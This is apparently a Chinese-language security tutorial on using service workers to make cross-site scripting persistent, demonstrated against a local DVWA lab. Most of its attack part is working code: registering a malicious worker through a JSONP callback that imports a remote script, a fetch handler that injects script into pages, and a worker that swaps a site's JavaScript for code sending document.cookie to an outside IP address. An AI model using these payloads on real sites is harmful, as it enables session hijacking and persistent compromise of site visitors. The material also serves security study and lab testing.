service worker
service worker是一种特殊的web worker,web worker的作用是什么。
Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。
service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。
并且由于service worker工作于worker上下文,因此它不能访问DOM。线程独立于浏览器主线程,并且与当前的浏览器主线程完全隔离,并且可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,故该特性为XSS的持久化实现提供了基础。
当然由于service worker的功能,出于安全考虑,有一些限制。
- 只能注册同源下的js
- 网站必须是
https://
或者http://localhost/
- content-type 为 */javascript
- Worker 线程不能获得下列对象:DOM对象,Windows对象,document对象,parent对象。
注册service worker
参考:https://developer.mozilla.org/zh-CN/docs/Web/API/ServiceWorkerContainer
注册
service worker的注册方式
ServiceWorkerContainer.register(scriptURL, options)
navigator.serviceWorker.register(scriptURL, options) #返回一个ServiceWorkerContainer对象。
例如一个示例代码:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('service-worker.js', {scope: './'})
.then(function(registration) {
document.querySelector('#status').textContent = 'succeeded';
}).catch(function(error) {
document.querySelector('#status').textContent = error;
});
} else {
// The current browser doesn't support service workers.
let aElement = document.createElement('a');
aElement.href = `
http://www.chromium.org/blink/serviceworker/service-worker-faq
`;
aElement.textContent = 'unavailable';
document.querySelector('#status').appendChild(aElement);
}
响应事件
worker注册完成后,需要监听fetch
事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。
self.addEventListener('fetch', function(event) {
//worker context
});
利用respondwith
来自定义返回的响应代码。其中包含Response
对象的代码。
function(e){
e.respondWith(
new Response('<script>alert(document.domain)</script>',
{headers: {'Content-Type':'text/html'}}
)
)
}
返回一个html的内容。
利用
由于service worker存在的一定的限制,需要绕过同源,所以这里最方便的就是使用jsonp。因此需要一个jsonp的接口,并且这个接口的参数可操纵。
所以在注册的时候,需要一个jsonp的调用,例如
navigator.serviceWorker.register('/a.php?callback=alert(1)');
结合上面的响应,importScripts
导入远程js文件。
navigator.serviceWorker.register('/a.php?callback=importScripts("https://xx/test.js")');
//test.js
self.addEventListener('fetch', function(event) {
event.respondWith(
new Response('<script>alert(document.domain)</script>',
{headers: {'Content-Type':'text/html'}}
)
)
});
本地调试一下,先本地导入这个js文件。
在刷新一下页面
在谷歌浏览器下,执行chrome://serviceworker-internals
查看已经注册的service worker。能看到一个正在运行的service worker。
同样,在没有jsonp可以利用的地方,就需要查找是否有可利用的上传点,上传一个js脚本上去。直接在同源下利用即可。
如果需要无感反馈,但是service worker并不能操作document,Window对象。如下是模拟一个请求,每次触发响应的时候都会跨域发送一个请求到指定地址,但并不能携带敏感信息。
self.addEventListener('fetch', function(event) {
console.log('Handling fetch event for', event.request.url);
event.respondWith(
caches.match(event.request).then(function(response) {
const url='http://192.168.30.179:8888/';
const othePram={
headers:{
"content-type":"text/plain"
},
method:"GET",
mode: 'cors',
credentials:'include'
};
fetch(url, othePram)
.then(res=>console.log(res))
console.log('No response found in cache. About to fetch from network...');
return fetch(event.request).then(function(response) {
console.log('Response from network is:', response);
return response;
});
})
);
});
这里采用监听返回的url为特定地址的话返回修改的response。比如使用如下代码
self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function(response){
console.log(fetch(event.request));
var url = event.request.clone();
if (url.url=='http://localhost/dvwa/dvwa/js/dvwaPage.js'){
return new Response("var httpRequest = new XMLHttpRequest();httpRequest.open('GET', 'http://192.168.30.179:8888/'+document.cookie, true);httpRequest.send();")
}else{
return fetch(event.request).then(function(response) {
console.log('Response from network is:', response.url);
return response;
}, function(error) {
console.error('Fetching failed:', error);
throw error;
});
}
})
)
});
监听是否是指定的地址,此处使用一个脚本文件,在脚本中返回一个请求来触发。但只是这样的话会破坏一个js的使用,所以可以返回原js文件的同时,再添加一个恶意的js代码到其中。
参考文章